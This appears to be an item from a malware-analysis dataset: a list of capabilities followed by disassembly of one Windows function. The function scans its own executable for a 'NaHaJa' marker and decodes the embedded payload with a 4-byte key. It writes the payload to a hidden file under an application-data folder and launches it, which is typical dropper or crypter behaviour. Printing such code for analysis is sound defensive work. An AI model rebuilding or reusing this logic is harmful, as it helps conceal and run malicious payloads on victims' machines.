Function at 0x4015fe
Capabilities:
Create process on windows
Delete file
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2ac
mov dword [ebp - 0x244], sym.___gxx_personality_sj0
mov dword [ebp - 0x240], 0x43c03e
lea eax, [ebp - 0x23c]
lea edx, [ebp - 0x18]
mov dword [eax], edx
mov edx, 0x401c85
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x25c]
mov dword [esp], eax
call sym.BDd_bdlxy_dDL___dD_d_H_xq8_20_.HcCDhhd_Cc_3cCE
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], 0x43d040
mov dword [esp], 0
mov dword [ebp - 0x258], 0xffffffff
call sub.KERNEL32.dll_GetModuleFileNameA
sub esp, 0xc
mov dword [esp], 0x43d040
call sym._strlen
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
add eax, 0x43d03b
mov byte [eax], 0
mov dword [esp], 0x43d040
call sym.Open_char_const_
mov dword [ebp - 0x1c], 0
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
mov dword [esp], 0x441194
call sym._memset
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
mov dword [esp], 0x441150
call sym._memset
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], 0
mov dword [esp], 0x441030
call sym._memset
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], 0
mov dword [esp], 0x4410b0
call sym._memset
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], 0
mov dword [esp], 0x43d040
call sym._memset
mov dword [esp], 0
call sym._time
mov dword [esp], eax
call sym._srand
mov dword [esp + 0x10], 0x4410b0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x23
mov dword [esp], 0
call sub.SHELL32.DLL_SHGetFolderPathA
sub esp, 0x14
mov dword [esp + 4], 0x43e005
mov dword [esp], 0x4410b0
call sym._strcat
mov dword [esp + 4], str.Saaaalamm
mov dword [esp], 0x4410b0
call sym._strcat
mov dword [esp + 4], str.Mira.h
mov dword [esp], 0x4410b0
call sym._strcat
mov dword [esp], 0x4410b0
call sym.FileExist_char_const_
test al, al
je 0x4017c2
mov dword [ebp - 0x260], 0
jmp 0x401d17
mov dword [ebp - 0x258], 0xffffffff
call sym.GetUserPath__
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], 0x43d040
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleFileNameA
sub esp, 0xc
lea eax, [ebp - 0x128]
mov dword [esp], eax
call method.std::basic_ifstream_char__std::char_traits_char___.basic_ifstream__
mov dword [esp + 8], 4
mov dword [esp + 4], 0x43d040
lea eax, [ebp - 0x128]
mov dword [esp], eax
mov dword [ebp - 0x258], 2
call method.std::basic_ifstream_char__std::char_traits_char___.open_char_const__std::_Ios_Openmode_
lea eax, [ebp - 0x228]
mov dword [esp], eax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream__
mov dword [esp + 8], 4
mov dword [esp + 4], 0x441030
lea eax, [ebp - 0x228]
mov dword [esp], eax
mov dword [ebp - 0x258], 1
call method.std::basic_ofstream_char__std::char_traits_char___.open_char_const__std::_Ios_Openmode_
mov dword [esp + 4], 2
mov dword [esp], 0x441030
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
lea eax, [ebp - 0x128]
add eax, 0x74
mov dword [esp], eax
mov dword [ebp - 0x258], 1
call method.std::basic_ios_char__std::char_traits_char___.eof___const
test al, al
jne 0x401b96
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call method.std::istream.read_char__int_
add dword [0x441018], 1
adc dword [0x44101c], 0
cmp byte [0x441020], 0x4e
jne 0x401873
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call method.std::istream.read_char__int_
add dword [0x441018], 1
adc dword [0x44101c], 0
cmp byte [0x441020], 0x61
jne 0x401873
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call method.std::istream.read_char__int_
add dword [0x441018], 1
adc dword [0x44101c], 0
cmp byte [0x441020], 0x48
jne 0x401873
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call method.std::istream.read_char__int_
add dword [0x441018], 1
adc dword [0x44101c], 0
cmp byte [0x441020], 0x61
jne 0x401873
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call method.std::istream.read_char__int_
add dword [0x441018], 1
adc dword [0x44101c], 0
cmp byte [0x441020], 0x4a
jne 0x401873
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call method.std::istream.read_char__int_
add dword [0x441018], 1
adc dword [0x44101c], 0
cmp byte [0x441020], 0x61
jne 0x401873
mov byte [0x441130], 1
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call method.std::istream.read_char__int_
movzx eax, byte [0x441020]
mov byte [0x43d0c0], al
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call method.std::istream.read_char__int_
movzx eax, byte [0x441020]
mov byte [0x43d0c1], al
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call method.std::istream.read_char__int_
movzx eax, byte [0x441020]
mov byte [0x43d0c2], al
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call method.std::istream.read_char__int_
movzx eax, byte [0x441020]
mov byte [0x43d0c3], al
lea eax, [ebp - 0x128]
add eax, 0x74
mov dword [esp], eax
mov dword [ebp - 0x258], 1
call method.std::basic_ios_char__std::char_traits_char___.eof___const
test al, al
jne 0x401873
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call method.std::istream.read_char__int_
mov ecx, dword [0x441010]
mov ebx, dword [0x441014]
mov dword [ebp - 0x268], ecx
mov dword [ebp - 0x264], ebx
mov eax, dword [ebp - 0x268]
mov edx, dword [ebp - 0x264]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], edx
cmp dword [ebp - 0x26c], 0
jns 0x401b1f
add dword [ebp - 0x270], 3
adc dword [ebp - 0x26c], 0
mov eax, dword [ebp - 0x270]
mov edx, dword [ebp - 0x26c]
shrd eax, edx, 2
sar edx, 2
shld edx, eax, 2
shl eax, 2
mov ecx, dword [ebp - 0x268]
mov ebx, dword [ebp - 0x264]
sub ecx, eax
sbb ebx, edx
mov eax, ecx
mov edx, ebx
add eax, 0x43d0c0
movzx eax, byte [eax]
sub byte [0x441020], al
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x228]
mov dword [esp], eax
mov dword [ebp - 0x258], 1
call method.std::ostream.write_char_const__int_
add dword [0x441010], 1
adc dword [0x441014], 0
jmp 0x401a97
lea eax, [ebp - 0x228]
mov dword [esp], eax
mov dword [ebp - 0x258], 1
call method.std::basic_ofstream_char__std::char_traits_char___.close__
lea eax, [ebp - 0x128]
mov dword [esp], eax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
cmp byte [0x441130], 0
je 0x401c1e
mov dword [esp + 0x24], 0x441194
mov dword [esp + 0x20], 0x441150
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x10
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x441030
call sub.KERNEL32.dll_CreateProcessA
sub esp, 0x28
jmp 0x401c37
mov dword [esp], 0x441030
mov dword [ebp - 0x258], 1
call sub.KERNEL32.dll_DeleteFileA
sub esp, 4
mov dword [ebp - 0x258], 1
call sym.CreateHeader__
lea eax, [ebp - 0x228]
mov dword [esp], eax
mov dword [ebp - 0x258], 2
call fcn.00433730
lea eax, [ebp - 0x128]
mov dword [esp], eax
mov dword [ebp - 0x258], 0xffffffff
call fcn.00432d80
mov dword [ebp - 0x260], 0
jmp 0x401d17
lea eax, [ebp - 0x25c]
mov dword [esp], eax
call sym.lxy_dDL___dD_d_H_xq8_20_.HcCDhhd_Cc_3cCEEEEPL_dlu
mov eax, dword [ebp - 0x260]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 0x10